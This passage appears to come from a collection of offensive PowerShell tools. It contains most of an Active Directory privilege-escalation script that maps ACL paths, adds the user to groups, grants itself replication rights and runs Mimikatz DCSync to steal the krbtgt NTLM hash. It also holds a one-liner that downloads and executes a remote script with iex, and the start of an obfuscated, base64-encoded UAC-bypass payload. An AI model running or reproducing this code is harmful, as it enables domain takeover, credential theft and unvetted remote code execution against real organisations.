            "S-1-5-7"           = "Anonymous"; `
            "S-1-5-8"           = "Proxy"; `
            "S-1-5-9"           = "Enterprise Domain Cont
rollers"; `
            "S-1-5-10"          = "Principal Self"; `
            "S-1-5-11"          = "Authenticated Users";
`
            "S-1-5-12"          = "Restricted Code"; `
            "S-1-5-13"          = "Terminal Server User
s"; `
            "S-1-5-14"          = "Remote Interactive Log
on"; `
            "S-1-5-15"          = "This Organization"; `
            "S-1-5-17"          = "IUSR"; `
            "S-1-5-18"          = "Local System"; `
            "S-1-5-19"          = "NT Authority"; `
            "S-1-5-20"          = "NT Authority"; `
            "S-1-5-22"          = "ENTERPRISE READ-ONLY D
OMAIN CONTROLLERS BETA"; `
            "S-1-5-32-544"      = "Administrators"; `
            "S-1-5-32-545"      = "Users"; `
            "S-1-5-32-546"      = "Guests"; `
            "S-1-5-32-547"      = "Power Users"; `
            "S-1-5-32-548"      = "BUILTIN\Account Operat
ors"; `
            "S-1-5-32-549"      = "Server Operators"; `
            "S-1-5-32-550"      = "Print Operators"; `
            "S-1-5-32-551"      = "Backup Operators"; `
            "S-1-5-32-552"      = "Replicator"; `
            "S-1-5-32-554"      = "BUILTIN\Pre-Windows 20
```

```
00 Compatible Access"; `
            "S-1-5-32-555"      = "BUILTIN\Remote Desktop
Users"; `
            "S-1-5-32-556"      = "BUILTIN\Network Config
uration Operators"; `
            "S-1-5-32-557"      = "BUILTIN\Incoming Fores
t Trust Builders"; `
            "S-1-5-32-558"      = "BUILTIN\Performance Mo
nitor Users"; `
            "S-1-5-32-559"      = "BUILTIN\Performance Lo
g Users"; `
            "S-1-5-32-560"      = "BUILTIN\Windows Author
ization Access Group"; `
            "S-1-5-32-561"      = "BUILTIN\Terminal Serve
r License Servers"; `
            "S-1-5-32-562"      = "BUILTIN\Distributed CO
M Users"; `
            "S-1-5-32-568"      = "BUILTIN\IIS_IUSRS"; `
            "S-1-5-32-569"      = "BUILTIN\Cryptographic
Operators"; `
            "S-1-5-32-573"      = "BUILTIN\Event Log Read
ers "; `
            "S-1-5-32-574"      = "BUILTIN\Certificate Se
rvice DCOM Access"; `
            "S-1-5-32-575"      = "BUILTIN\RDS Remote Acc
ess Servers"; `
            "S-1-5-32-576"      = "BUILTIN\RDS Endpoint S
ervers"; `
            "S-1-5-32-577"      = "BUILTIN\RDS Management
Servers"; `
            "S-1-5-32-578"      = "BUILTIN\Hyper-V Admini
strators"; `
            "S-1-5-32-579"      = "BUILTIN\Access Control
Assistance Operators"; `
            "S-1-5-32-580"      = "BUILTIN\Remote Managem
ent Users"; `
```

```
            "S-1-5-33"           = "Write Restricted Cod
e"; `
            "S-1-5-64-10"        = "NTLM Authentication";
`
            "S-1-5-64-14"        = "SChannel Authenticatio
n"; `
            "S-1-5-64-21"        = "Digest Authenticatio
n"; `
            "S-1-5-65-1"         = "This Organization Cert
ificate"; `
            "S-1-5-80"           = "NT Service"; `
            "S-1-5-84-0-0-0-0-0" = "User Mode Drivers"; `
            "S-1-5-113"          = "Local Account"; `
            "S-1-5-114"          = "Local Account And Memb
er Of Administrators Group"; `
            "S-1-5-1000"         = "Other Organization"; `
            "S-1-15-2-1"         = "All App Packages"; `
            "S-1-16-0"           = "Untrusted Mandatory Le
vel"; `
            "S-1-16-4096"        = "Low Mandatory Level";
`
            "S-1-16-8192"        = "Medium Mandatory Leve
l"; `
            "S-1-16-8448"        = "Medium Plus Mandatory
Level"; `
            "S-1-16-12288"       = "High Mandatory Level";
`
            "S-1-16-16384"       = "System Mandatory Leve
l"; `
            "S-1-16-20480"       = "Protected Process Mand
atory Level"; `
            "S-1-16-28672"       = "Secure Process Mandato
ry Level"; `
            "S-1-18-1"           = "Authentication Authori
ty Asserted Identityl"; `
            "S-1-18-2"           = "Service Asserted Ident
```

```
ity"
    }

    $result = $true

    # Import assemblies
    Add-Type -AssemblyName System.DirectoryServices
    Add-Type -AssemblyName System.DirectoryServices.Accoun
tManagement
    Add-Type -AssemblyName System.IO.Compression.FileSyste
m

    if ($logToFile){
        "$("`r`n")$('='* 120)" | Out-File 'Invoke-ACLPwn.l
og' -Append
    }



    # Check if computer is part of the domain
    $partOfDomain = (Get-WmiObject -Class Win32_ComputerSy
stem).PartOfDomain

    if (-not $partOfDomain -and (-not $username -or -not
$password -or -not $domain)){
        Write-Bad 'Computer is not part of a domain. Pleas
e specify credentials.'
        return $false
    }

    if (-not $partOfDomain -and -not $integratedLogin) {

        if ($global:ldapConnInfo.username.Contains("\")){
            $global:ldapConnInfo.username = $global:ldapCo
nnInfo.username.Split("\")[1]
        }
```

```
        # Write AddtoGroup and Add-ACL to file
        Write-AddACEToFile
        Write-AddToGroupToFile
    }

    # Check if domain is specified. If not, and we're part
of the domain try to resolve it
    if ([string]::IsNullOrEmpty($global:ldapConnInfo.domai
n)){
        if ($partOfDomain){
            $global:ldapConnInfo.domain = [System.Director
yServices.ActiveDirectory.Domain]::GetCurrentDomain().Name
            $global:ldapConnInfo.Integrated_Login = $true

            if ([string]::IsNullOrEmpty($protocol)) {
                $protocol = 'LDAP'
            }

            $global:ldapConnInfo.protocol = $protocol
            $global:ldapConnInfo.LDAPConnString  = "$($glo
bal:ldapConnInfo.protocol)://$($global:ldapConnInfo.domai
n)"
        } else {
            Write-Bad 'Computer is not part of a domain. P
lease specify domain.'
            return $false
        }
    }

     # Get current username if none is given
    if ([string]::IsNullOrEmpty($global:ldapConnInfo.usern
ame)) {
        $global:ldapConnInfo.username = [System.Environmen
t]::UserName
        Write-Status "Integrated login, using account
'$($global:ldapConnInfo.username)'"
```

```
    }

    # Check if we can login
    Write-Status 'Checking if we can bind to AD...'
    $dirEntry = Get-DirEntry -ldapDN $global:ldapConnInfo.
LDAPConnString

    if ([string]::IsNullOrEmpty($dirEntry.DistinguishedNam
e)) {
        Write-Bad '[Check-Env] Unable to connect. Check se
ttings.'
        $result = $false
    }
    else {
        Write-Status 'Succesfully bound to AD with supplie
d info.'
    }

    if (-not $dirEntry.Disposed) {
        $dirEntry.Close()
        $dirEntry.Dispose()
    }

    # Get domain DN
    $domainDN = Get-DomainDN
    $global:ADInfo.domainDN = $domainDN

    # Get PDC
    Write-Status 'Finding primary DC...'
    $pdc = Get-PrimaryDC35

    if ([string]::IsNullOrEmpty($pdc)) {
        Write-Bad 'We need a (primary) domainController fo
r this to work. Stopping...'
        $result = $false
    }
```

```
    else {
        Write-Status "Found PDC '$pdc'"
        $global:ADInfo.primaryDC = $pdc
    }

    # Get naming- and schema context DN
    Write-Status 'Finding Naming context for Configururati
on and Schema stores partitions...'
    Get-SchemaAndConfigContext
    Write-Status "Found configstore: $($global:ADInfo.Conf
igurationNamingContext)"
    Write-Status "Found schemastore: $($global:ADInfo.sche
maNamingContext)"



    # find additional info about user
    $attr = @('userPrincipalName','distinguishedName','sAM
AccountName')
    $attrs = Get-AttrForADObject -objectName $global:ldapC
onnInfo.username -props $attr
    $global:ldapConnInfo.sAMAccountName    = $attrs['samac
countname'][0]
    $global:ldapConnInfo.userPrincipalName = $attrs['userp
rincipalname'][0]
    $global:ldapConnInfo.distinguishedName = $attrs['disti
nguishedname'][0]

    if ([string]::IsNullOrEmpty($SharpHoundLocation)) {
         Write-Bad 'SharpHound not found. Please specify s
harphound location'
        return $false
    }

    if (-not (Test-Path $SharpHoundLocation)){
        Write-Bad 'SharpHound not found. Please specify sh
arphound location'
```

```
        $result = $false
    }

    # Test if $userAccountToPwn exists
    if ([string]::IsNullOrEmpty($userAccountToPwn)) {
        $userAccountToPwn = 'krbtgt'
    }
    $acc = Get-AttrForADObject $userAccountToPwn -props 's
AMAccountName'
    if ($acc -eq $null) {
        Write-Status "Account '$userAccountToPwn' not foun
d in AD. krbtgt account will be used."
        $userAccountToPwn = 'krbtgt'
    }

    return $result
}
#endregion

#region HackPwnStuff

function Get-ACLString($ref) {

    return ("{0}{1}{2}{3}{4}{5}{6}{7}" -f `
        $ref.ObjectName,
        $ref.ObjectType,
        $ref.PrincipalName,
        $ref.PrincipalType,
        $ref.ActiveDirectoryRights,
        $ref.ACEType,
        $ref.AccessControlType,
        $ref.IsInherited,
        $ref.ObjectGuid)
}

function Get-PwnChain ($objACL, $groupMembership) {
```

```
    $processed = New-Object System.Collections.ArrayList
    $checkList = New-Object System.Collections.ArrayList

    foreach ($a in $objACL | ForEach-Object {$_.PrincipalN
ame}){



        # Get ACL for the Id ref of the ACE.
        # Check if we havent checked this ACE before
        $aAcl = @()

        $ACL | Where-Object {$_.objectName -eq $a} | ForEa
ch-Object {
            #[void]$processed.Add($_)
            $aAcl += $_
        }

        # Iterate through the ACL of the ACE Id ref
        # Todo: check accesstype. Skip read entries
        for ($i = 0; $i -lt $aAcl.Count; $i++){

            $subACL = $aAcl[$i]

            # Get ACL for this resource and add it to the
queue
            $ACL | Where-Object {$_.objectName -eq "$($sub
ACL.PrincipalName)"} | ForEach-Object {

                $aStr = Get-ACLString $_
                if (-not $checkList.Contains($aStr)){
                    [void]$checkList.Add($aStr)
                    $aAcl += $_
                }
            }
```

```
            # Check members of this group. We know we are
not a member of this group since we already requested our
            # recursive groupmembership, but it could lead
to ownage if we can modify the children
            $groupChilderen = Get-GroupMember -objectName
$subACL.PrincipalName

            # Get ACL for every child and add them to the
queue
            foreach ($child in $groupChilderen) {
                $ACL | Where-Object {$_.objectName -like
"$($child.NTAccount)*"} | ForEach-Object {
                    $aStr = Get-ACLString $_
                    if (-not $checkList.Contains($aStr)){
                        [void]$checkList.Add($aStr)
                        $aAcl += $_
                    }
                }
            }

            # Keep track of what we already have processed
            [void]$processed.Add($subACL)

            if ($processed.Count % 25 -eq 0){
                Write-Status "Processed $($processed.Coun
t) ACLs so far..."
            }
        }
    }

    # TODO: tmp fix, make processedlist unique
    $processed = $processed | Sort-Object -Property Object
Name, ObjectType, PrincipalName, PrincipalType, ActiveDire
ctoryRights, ACEType, AccessControlType, IsInherited, Obje
ctGuid -Unique
```

```
    # Check if we are member of one of the processed group
s
    $pwnableIds = $groupMembership | Where-Object {
        $processed.PrincipalName -like "$($_.NTAccount)*"
    }

    $pwnChain = @()

    foreach ($pwnID in $pwnableIds) {
        # find ACE where this NTAccount is the principle
        $unResolved = $true
        $_pwnChain = @()

        $idRef = "$($pwnID.NTAccount)@$($global:ldapConnIn
fo.domain)"

        do {

            # TODO: fix when multiple references are found
            $relatedACE = $processed | Where-Object {$_.Pr
incipalName -eq $idRef }

            if ($relatedACE.Count -gt 1) {
                Write-Status 'Found multiple potential pat
hs to AD pwnage. Using the first group that was processed.
Later on, multiple paths will be supported.'
                $relatedACE = $relatedACE[0]
                $unResolved = $false
            }

            if ($relatedACE -eq $null){

                # No ACE available. Check if group is a di
rect(!) member of the group in the upper layer
                $memberOfGroup = Get-Groupmembership -objN
ame $idRef -recursive $false
```

```
                $isMemberOfGroup = $memberOfGroup | Where-
Object {
                    $objACL.PrincipalName -eq "$($_.NTAcco
unt)@$($global:ldapConnInfo.domain)"
                }

                if ($isMemberOfGroup -ne $null){
                    #done :)
                    $_pwnChain += New-Object PSObject -Pro
perty @{
                        'Type' = 'GroupMembership'
                        'Object' = $idRef
                    }

                    $unResolved = $false
                    continue
                }

                $unResolved = $true
                break
            }

            # Add idRef ACE to pwnChain
            $_pwnChain += New-Object PSObject -Property @{
                'Type' = 'ACL'
                'Object' = $relatedACE
            }


            # Set $idREf to objectName that is mentioned i
n $relatedACE
            $idRef = $relatedACE.ObjectName

        }while($unResolved)
```

```
        $pwnChain += $_pwnChain
    }

    return $pwnChain
}

function Import-CSVACL ($csvLocation) {

    if (-not (Test-Path $csvLocation)) {
        Write-Error ("[Import-ACL] File '{0}' not found."
-f $csvLocation)
        return null
    }

    # Return the ACE where allowedType -eq True
    $_tmp = Import-Csv $csvLocation
    $r = $_tmp | Where-Object {$_.AccessControlType -eq 'A
ccessAllowed'}

    return $r
}

function Is-NewSharphoundVersion([string]$sharphoundLocati
on){

    $result = $false

    # Dirty hack to get sharphound version :(
    $tmpPath = [system.IO.Path]::GetTempPath()
    Start-process -wait -WindowStyle Hidden -filePath $sha
rphoundLocation -ArgumentList "-h" -RedirectStandardError
"$tmpPath\out2.txt"

    $sharpHoundHelp = Get-Content "$tmpPath\out2.txt"
    $sharphoundVersion = ($sharpHoundHelp -split '`r`n')
[0]
```

```
    Write-Status "Running $($sharphoundVersion)..."

    if ($sharphoundVersion.ToLower().Contains("sharphound
v2")){
        $result = $true
    }

    Remove-Item "$tmpPath\out2.txt"
    return $result
}

function Get-SharpHoundACL ([string]$sharpHoundLocation,
$isNewVersion) {

    $fileName = [string]::Empty
    $arg = [string]::Empty

    if ($isNewVersion){
        $fileName = "{0}.zip" -f [datetime]::Now.ToFileTim
e()
        $arg = "$($global:ldapConnInfo.domain) -c acl --Zi
pFileName $($fileName) --NoSaveCache"
    } else {
        $fileName = "{0}" -f [datetime]::Now.ToFileTime()
        $arg = "-d $($global:ldapConnInfo.domain) -c acl -
-CSVPrefix $($fileName) --NoSaveCache"
    }

    Invoke-Cmd -cmd $sharpHoundLocation -argV $arg

    $stillRuns     = $true
    $maxSleepTime  = 10 # In minutes
    $sleepElapsed  = 0
    $sleepInterval = 5  # In seconds

    # Sleep a little, check if file exists if we wake up
```

```
    Start-Sleep $sleepInterval
    $file = Get-ChildItem -Filter "$fileName*"
    if ($file -ne $null) {
        return $file[0].FullName
    }

    do {
        # check if sharphound is still running
        $p = Get-Process '*SharpHound.exe'
        if ($p -eq $null) {
            $stillRuns = $false
        } else {
            # Sleep 5 seconds
            Start-Sleep($sleepInterval)
            $sleepElapsed += $sleepInterval

            if (($maxSleepTime *10) -le $sleepElapsed){
                Write-Status '[Get-SharpHoundACL] Sharphou
nd is still running. Do you want to continue for 10 more m
inutes?'
                $answ = Read-Host 'Y/N'
                if ($answ.ToLower() -eq 'y') {
                    $maxSleepTime += 10
                } else {
                    $stillRuns = $false
                }
            }
        }
    }while ($stillRuns)

    # Check for file with given prefix
    $file = Get-ChildItem -Filter "$fileName*"
    if ($file -eq $null) {
        Write-Error '[Get-SharpHoundACL] No ACL input avai
lable.'
        return $null
```

```
    }

    return $file[0].FullName
}

function Import-JsonACL ([string]$sharpHoundZipFileLocatio
n){

    # unzip file
    $fInfo = New-Object System.IO.FileInfo $sharpHoundZipF
ileLocation
    $parentFolder = $fInfo.Directory.FullName
    Unzip-Archive -ziparchive $sharpHoundZipFileLocation -
extractpath $parentFolder
    $sharpHoundOutputFiles = Get-Childitem -Path $parentFo
lder -Filter "*.json"

    # Keep track of file that were created. We want to rem
ove these files later
    $global:filesCreated += $sharpHoundZipFileLocation
    $sharpHoundOutputFiles.FullName | ForEach-Object {
        $global:filesCreated += $_
    }

    $result = @()
    foreach ($jsonFile in $sharpHoundOutputFiles){

        $content = Get-Content $jsonFile.FullName

        if ([string]::IsNullOrEmpty($content)){
            continue
        }

        $tmp = ConvertFrom-Json $content -ErrorAction Sile
ntlyContinue
```

```
        # iterate through objects
        $objectType = $tmp.meta.type
        foreach ($i in $tmp."$objectType"){

            $objectName = $i.Name

            # Iterate through ACEs
            foreach ($a in $i.Aces) {
                $result += New-Object PSObject -Property @
{
                        'ObjectName'            = $objectN
ame
                        'ObjectType'            = $objectT
ype
                        'PrincipalName'         = $a.Princ
ipalName
                        'PrincipalType'         = $a.Princ
ipalType
                        'ActiveDirectoryRights' = $a.Right
Name
                        'ACEType'               = $a.AceTy
pe
                        'AccessControlType'     = 'AccessA
llowed'
                }
            }
        }
    }

    return $result
}

function Unzip-Archive {
    #thx: https://www.saotn.org/unzip-file-powershell/
    param( [string]$ziparchive, [string]$extractpath )
    [System.IO.Compression.ZipFile]::ExtractToDirectory(
```

```
$ziparchive, $extractpath )
}


function Add-ReplicationPartner {

    # Retrieve SID based on actual info from the domain
    $userAdObj = Get-AttrForADObject -objectName $global:l
dapConnInfo.username -props 'objectSid'
    $userSID = New-Object System.Security.Principal.Securi
tyIdentifier $userAdObj['objectSid'][0], 0

    # Get GUID for 'replicating changes (all)'
    $replicationGUID = (Get-ExtendedRightByName -displayna
me 'Replicating Directory Changes')
    $replicationAllGUID = (Get-ExtendedRightByName -displa
yname 'Replicating Directory Changes All')

    if ($WhatIf){
        Write-Status "WhatIf: Setting 'Replicating Directo
ry Changes' permissions for user $($global:ldapConnInfo.us
ername)"
        Write-Status "WhatIf: Setting 'Replicating Directo
ry Changes All' permissions for user $($global:ldapConnInf
o.username)"
        return
    }

    $integratedLogin = $global:ldapConnInfo.Integrated_Log
in
    $userSIDString   = $userSID.Value
    $rightType       = 'ExtendedRight'
    $action          = 'Allow'

    # Build up two ACEs
    $nullGUID = [guid]'00000000-0000-0000-0000-00000000000
```

```
0'
    $inheritanceType = [System.DirectoryServices.ActiveDir
ectorySecurityInheritance]::None
    $replACE    = New-Object System.DirectoryServices.Acti
veDirectoryAccessRule $userSID, $rightType, $action, $repl
icationGUID,    $inheritanceType, $nullGUID
    $replAllACE = New-Object System.DirectoryServices.Acti
veDirectoryAccessRule $userSID, $rightType, $action, $repl
icationAllGUID, $inheritanceType, $nullGUID

    # Store arrays
    $global:ACEs += $replACE
    $global:ACEs += $replAllACE

    if (-not $integratedLogin){
        # Build up parameters
        $scriptParam = ("-userSIDString `"{0}`" -rightType
`"{1}`" -action `"{2}`"" -f `
                        $userSIDString, $rightType, $actio
n)

        if ($global:ldapConnInfo.Integrated_Login){
            $scriptParam += " -integratedLogin"
        }

        # Apply Replication Changes ACE
        $_param = $scriptParam + " -propertyGUID `"$($repl
icationGUID)`""
        $sResult = Start-PSScript -scriptLoc $global:ACESc
ript -scriptParam $_param

        if ($sResult -ne 'Done')  {
            Write-Bad 'Error occured while setting ACL'
            Write-Bad $sResult
            return $false
        }
```

```
        # Apply Replication Changes All ACE
        $sResult = [string]::Empty
        $_param  = $scriptParam + " -propertyGUID `"$($rep
licationAllGUID)`""
        $sResult = Start-PSScript -scriptLoc $global:ACESc
ript -scriptParam $_param

        if ($sResult -ne 'Done')  {
            Write-Bad 'Error occured while setting ACL'
            return $false
        }

        return $true
    } else {

        # Retrieve domain object
        $domainDN = Get-DomainDN
        $domainDirEntry = Get-DirEntry $domainDN

        # Set securitymasks for DACL only
        $secOptions = $domainDirEntry.get_Options()
        $secOptions.SecurityMasks = [System.DirectoryServi
ces.SecurityMasks]::Dacl
        $domainDirEntry.RefreshCache()

        # Add our new created ACEs
        $domainDirEntry.get_ObjectSecurity().AddAccessRule
($replACE)
        $domainDirEntry.get_ObjectSecurity().AddAccessRule
($replAllACE)
        $domainDirEntry.CommitChanges()

        $domainDirEntry.dispose()

        return $true
```

```
    }
}

function Invoke-DCSync ($mimiKatzLocation, $accountToPwn)
{

    if (-not (Test-Path $mimiKatzLocation)) {
        Write-Bad 'Mimikatz not found. Quitting.'
        return
    }

    $argV = "`"lsadump::dcsync /domain:$($global:ldapConnI
nfo.domain) /user:$accountToPwn@$($global:ldapConnInfo.dom
ain)`" exit"

    # We cannot get the results from mimikatz itself (we n
eed to de \r\n after issuing log, which is not possible at
m)
    # Write a batchfile that does the same
    $output_fName = "$([System.DateTime]::Now.ToFileTime
())_mimiOutput.txt"
    $output_batchFile = "$([System.DateTime]::Now.ToFileTi
me())_mimi.bat"

    $global:filesCreated += $output_fName
    $global:filesCreated += $output_batchFile
    "`"$($mimiKatzLocation)`" $argV > $output_fName" | Out
-File $output_batchFile -Encoding ascii

    Invoke-Cmd -cmd 'C:\Windows\System32\cmd.exe' -argV "
/c $output_batchFile"

    # the invoke-runas runs async, wait for the file to be
created.
    $fileBeingCreated = $true
    do {
```

```
        if (-not (Test-Path -Path $output_fName)) {
            Start-Sleep(1)
        } else {
            $fileBeingCreated = $false
        }

    }while ($fileBeingCreated)

    $result = Get-content $output_fName
    $rHash = $result | Where-Object {$_ -match 'Hash NTLM
\:\s(?<ntlm_hash>.+)'}

    if ([string]::IsNullOrEmpty($rHash)) {

        Write-Bad 'Did not find NTLM hash due to following
error:'
        Write-Bad ($result | Where-Object {$_.Startswith
('ERROR')})
        return
    }

    $ntlmHASH = $rHash.Split(' ')[-1]
    return $ntlmHASH
}

function Remove-ReplicationPartner {

    # Retrieve domain object
    $domainDN = Get-DomainDN
    $domainDirEntry = Get-DirEntry $domainDN

    # Set securitymasks for DACL only
    $secOptions = $domainDirEntry.get_Options()
    $secOptions.SecurityMasks = [System.DirectoryServices.
SecurityMasks]::Dacl
```

```
    # Add our new created ACEs
    foreach ($a in $global:ACEs) {
        [void]$domainDirEntry.get_ObjectSecurity().RemoveA
ccessRule($a)
    }

    $domainDirEntry.CommitChanges()
    $domainDirEntry.dispose()
}

function Repl-Pwn {

    # Add our dear self as replication partner
    Write-Status 'Adding ourself as potential replication
partner...'
    if (-not (Add-ReplicationPartner)){
        return
    }
    Write-Good 'Succesful! We can now start replicating so
me stuff, hold on...'

    # Invoke Mimikatz, read console output
    if (-not $NoDCSync){
        $mimiResult = Invoke-DCSync -mimiKatzLocation $mim
iKatzLocation -accountToPwn $($userAccountToPwn)

        if (-not [string]::IsNullOrEmpty($mimiResult)) {
            Write-Good "Got hash for '$($userAccountToPw
n)' account: $mimiResult"
        }
    }
}

#endregion

#region Structures
```

```
# global variable with files that are created on runtime
$global:filesCreated = @()

# Contains groups that the userwas added to
$global:GroupAdded   = @()
#endregion

# check if we can run the script
if (-not (Check-Env)) {
    Get-Help
    return
}

# Get groupmembership for supplied useraccount
Write-Status "Retrieving groupmembership for user $($globa
l:ldapConnInfo.username)..."
$groupMembership = Get-Groupmembership -objName $($global:
ldapConnInfo.username) -recursive $true
Write-Status "User '$($global:ldapConnInfo.username)' is m
ember of $($groupMembership | Measure-Object | ForEach-Obj
ect {$_.Count}) group(s)"

# Get object class from schema
Write-Status "Getting schema classes..."
$global:ADInfo.schemaClasses = Get-SchemaClasses
Write-Status "Found $($global:ADInfo.schemaClasses.Count)
schema classes"

# Get translation for extended rights
Write-Status "Getting extended rights from schema..."
$global:ADInfo.extendedRights = Get-ExtendedRights
Write-Status "Found $($global:ADInfo.extendedRights.Count)
extended rights"
```

```
# Run Sharphound to collect ACL of the target domain
$isnewSharpHoundVersion = Is-NewSharphoundVersion -sharpho
undLocation $SharpHoundLocation
$aclInputPath = Get-SharpHoundACL -sharpHoundLocation $sha
rpHoundLocation  -isNewVersion $isnewSharpHoundVersion
$global:filesCreated += $aclPath

if ($aclInputPath -eq $null) {
    return
}

# Import csv
if ($isnewSharpHoundVersion){
    $ACL = Import-JsonACL -sharpHoundZipFileLocation $aclI
nputPath
} else{
    $ACL = Import-CSVACL -csvLocation $aclInputPath
}
Write-Status "Found $($ACL.Count) ACLs"

# Iterate writeDACL and fullcontrol permissions on the dom
ain object
$domainObjectTypeName = "domain"
if ($isnewSharpHoundVersion) {
    $domainObjectTypeName = "domains" # dunno if typo?
}

$domainACL       = $ACL | Where-Object {$_.ObjectType -eq
$domainObjectTypeName}
$writeDACLDomain = $domainACL | Where-Object {$_.ActiveDir
ectoryRights -eq 'WriteDacl'}
$writeDACLDomain += $domainACL | Where-Object {$_.ActiveDi
rectoryRights -eq 'GenericAll'}

# Arrays with permissions
```

```
$currWriteDaclPerm = @()

# Check if we have writeDACL permissions
foreach ($g in $groupMembership){
    $currWriteDaclPerm += $writeDACLDomain | Where-Object
{$_.PrincipalName.ToString().ToLower() -like "$($g.NTAccou
nt.ToLower())*"}
}

if ($currWriteDaclPerm.Count -ge 1) {
    Write-Good 'Got WriteDACL permissions.'

    Repl-Pwn

    # Done.
    Invoke-Cleanup
    return
}

# with these permissions we can possibly pwn via another w
ay
#$PwnPermissions = @('GenericAll','WriteProperty','owne
r','WriteOwner')
#$PwnAttributes  = @('member','owner','WriteDacl')

Write-Status 'Parsing ACL. This might take a while...'
$pwnPath = Get-PwnChain -objACL $writeDACLDomain -groupMem
bership $groupMembership

if ($pwnPath -eq $null){
    Write-Status 'No chain found :('
    return
}

Write-Good 'Found chain!'
```

```
# chain is in chronological order
foreach ($c in $pwnPath) {

    if ($c.Type -eq 'ACL') {

        $attr    = $c.Object.ACEType
        $adRight = $c.Object.ActiveDirectoryRights

        # Can we modify groupmembership?
        if (($attr -eq 'Member' -and $adRight -eq 'WritePr
operty') -or $adRight -eq 'GenericAll'){

            # Get distinguishedName
            $groupDN = Get-DistinguishedNameForObject -obj
$($c.Object.ObjectName)

            # Dry run
            if ($WhatIf) {
                Write-Status "WhatIf: Added user '$($globa
l:ldapConnInfo.username)' to group $groupDN"
                continue
            }

            # TODO: Credentials remain in memory. Flush cr
edentials
            # Start new process process and call script to
add user to group if we're not using integrated login
            if ($global:ldapConnInfo.Integrated_Login){
                $sResult = Set-GroupMembership -groupDN $g
roupDN
            } else {
                $sResult = Start-PSScript -scriptLoc $glob
al:AddToGroupScriptFile -scriptParam "-groupDN `"$groupDN
`" -userDN `"$($global:ldapConnInfo.distinguishedName)`""
            }
```

```
            if ($sResult -ne 'Done') {
                Write-Bad "Error adding user to group:
$($groupDN)"
            } else {
                Write-Status "Added user '$($global:ldapCo
nnInfo.username)' to group $groupDN"
                $global:GroupAdded += $groupDN
            }
        }
    }

    if ($c.Type -eq 'GroupMembership') {
         # We need to add ourself to a group, we can skip
for now.
    }

    # Sleep 0.5 seconds to avoid replication issues, etc
    Start-sleep -Seconds 0.5
}

# TODO: fix this in a nicer way (maybe in the pwnchain)
# for now, just get groupmembership of the user and check
if we have writeDacls permissions
$currWriteDaclPerm = @()
$groupMembership = Get-Groupmembership -objName $global:ld
apConnInfo.username -recursive $true
foreach ($g in $groupMembership){
    $currWriteDaclPerm += $writeDACLDomain | Where-Object
{$_.PrincipalName.ToString().ToLower() -like "$($g.NTAccou
nt.ToLower())*"}
}

if ($currWriteDaclPerm.Count -ge 1) {
    Write-Good 'Got WriteDACL permissions!'

    # Clear errors
```

```
    $errCount = $Error.Count

    Repl-Pwn

    if ($Error.Count -gt $errCount){
        Write-Status 'It looks like some errors occured. I
f it is related to insufficient access, try running the sc
ript again'
    }
}

# Cleanup
Invoke-Cleanup
```

▼ Invoke-P0wnedshell.ps1

```
Set-ExecutionPolicy Bypass -Scope Process -Force; [System.
Net.ServicePointManager]::SecurityProtocol = [System.Net.S
ervicePointManager]::SecurityProtocol -bor 3072; iex ((New
-Object System.Net.WebClient).DownloadString('https://raw.
githubusercontent.com/IAMinZoho/OFFSEC-PowerShell/main/Inv
oke-P0wnedshell.ps1'))
```

▼ Invoke-SharpBypassUAC.ps1

```
function Invoke-SharpBypassUAC
{

    [CmdletBinding()]
    Param (
        [String]
        $Command = "-h"

    )
    $pwer=New-Object IO.MemorYStream(,[Convert]::FrOmBAsE6
```

```
4StrIng("H4"+"sIAA"+"AAAA"+"AEAL"+"y3c3zdTdc3umPbttXYSZvGb
GzbTmM0jW3baGw3bBo7jW3bOTvtdd3PfT047/OeP8589m9mzVprZr4Lgy2
jEQ0AAwAA4MDv9RUAaAL8Ke8B/+fiC/wQiVoQAXUwIyRNINIjJEpm5o7Ed
g62pg761sSG+jY2tk7EBsbEDs42xOY2xMJyisTWtkbGjAgIsOR/zfFJBAC
QBgEDrI4E6f897xqAFAQO5B0AUAzsQP/h2fQDK+K/Nd7/oUH/4H4rkH+Li
EF+898KGEAvAABA/v37j/Zfze+CD5xX7s+igCWI/85KEAA8sFbrA+r+L3z
yr0L8L+i/CzSwL/5vfUYnY1cnYOtU+JddxYB/4f63KfQYHRwdDAF/YQNi/
G1o6T/13gN/jA7GVrZARfi/MP+eq+q/6An9Z5if+v+04r+XhwCgFwAAws
S/Z3jDD3lFC8Th/r8x+E/BpcYGjqIFoL0DA+j/QYICSg2sYb2BiGAdgJSd
LTDhYCkcnN9IYPxgbYG2wQIZZf9gwNkCTYWFdJgDcqmhgCSUw+LfpC49nM
PqWwcIEZYWCBG4HgQg548L/1rPEUhCUlLDAEkwW9i3Fbzh3hAYgADssGzh
f0MIBNK2CECS8o+s999k5KAAOwdhYGWL+Lv/RkL+pn8Dc0R649oCcwkWyx
blX7SD6NsI1DcttLd5iZGpAABq9DdJ8psE4w3wb7zggOT/A15Ih6q3IZhA
mgHOoQn0b3v/YAWm97+wYoP9je1/gkUJ9hesv/pmb32s/w7m21y22G/rvP
k05v/apwtg//QpMvh/yP6XPjQD/598WAr+Dx9CAL79I8f+/465QwsQD9wf
DpTDErBDjfOm/L+JPwRg5b/B/meXgEP8a5foQfxjl/y1KVwh/iMxIiH+To
x/MxzuvxoOCflPw3kg/xkYqL+M/qcT/l8DFQ35PwVqGPI/jMV7BwloAXk7
jwEojkBwkLCQ6F7APjiweTvCITG9gCJwR9w/+QMc6XACrCBfIIE4IR3x3u
bHf5ufwsENCijMgPothP/PwvU34eUfIcI/hXBQoLYEbwSkx9tSDNCQHm8A
GJChqAnflIiA1TIOkAXp8YaIAdcBBRroVeK3uP6bxu3bAfx7pC3Jm5WaQC
VbUiBFj/JnoCPEWxC5Wv6TnvV/0YP8rRf7n/T8/qWH+Jce1JsenfW/K0X8
FyXE30ri/66U9F+UwH8rkf27UuW/lOD/UgJ7U1pBg3eYAIqgbcmAMmrgVQ
27AgDG8cNfF6Ar8GMEzlII/IBxf7tzQAj/JDEtKSjY79DScoCCUVMAOb8j
DGRj/Y4x7f+3c3oT+p+piwPzf32m2MP88wAse+tT/Xep2wjzd+oKgTJA/p
6fFtSW+k8uv91rRoDf7w4Uapo3tJC2tG/7DQoeE4FOAhomFQ0cBdyWDshC
g0CBsKUHEqC/axxqhjdPkwKZjG9uBeKEBP0P8i8xGAo4LQyWGgIMdKQ5Sz
U67ds9QQlcD5hXKMSA9yCACOABAwJLBwMGiQlly/Q2OyQmZKS57bs30+AY
9n7vN1CA1p+nAgo18xtGUIeBN6NY3lYQAK7K+hsxpiMbsIV3ZAfWCNAw1E
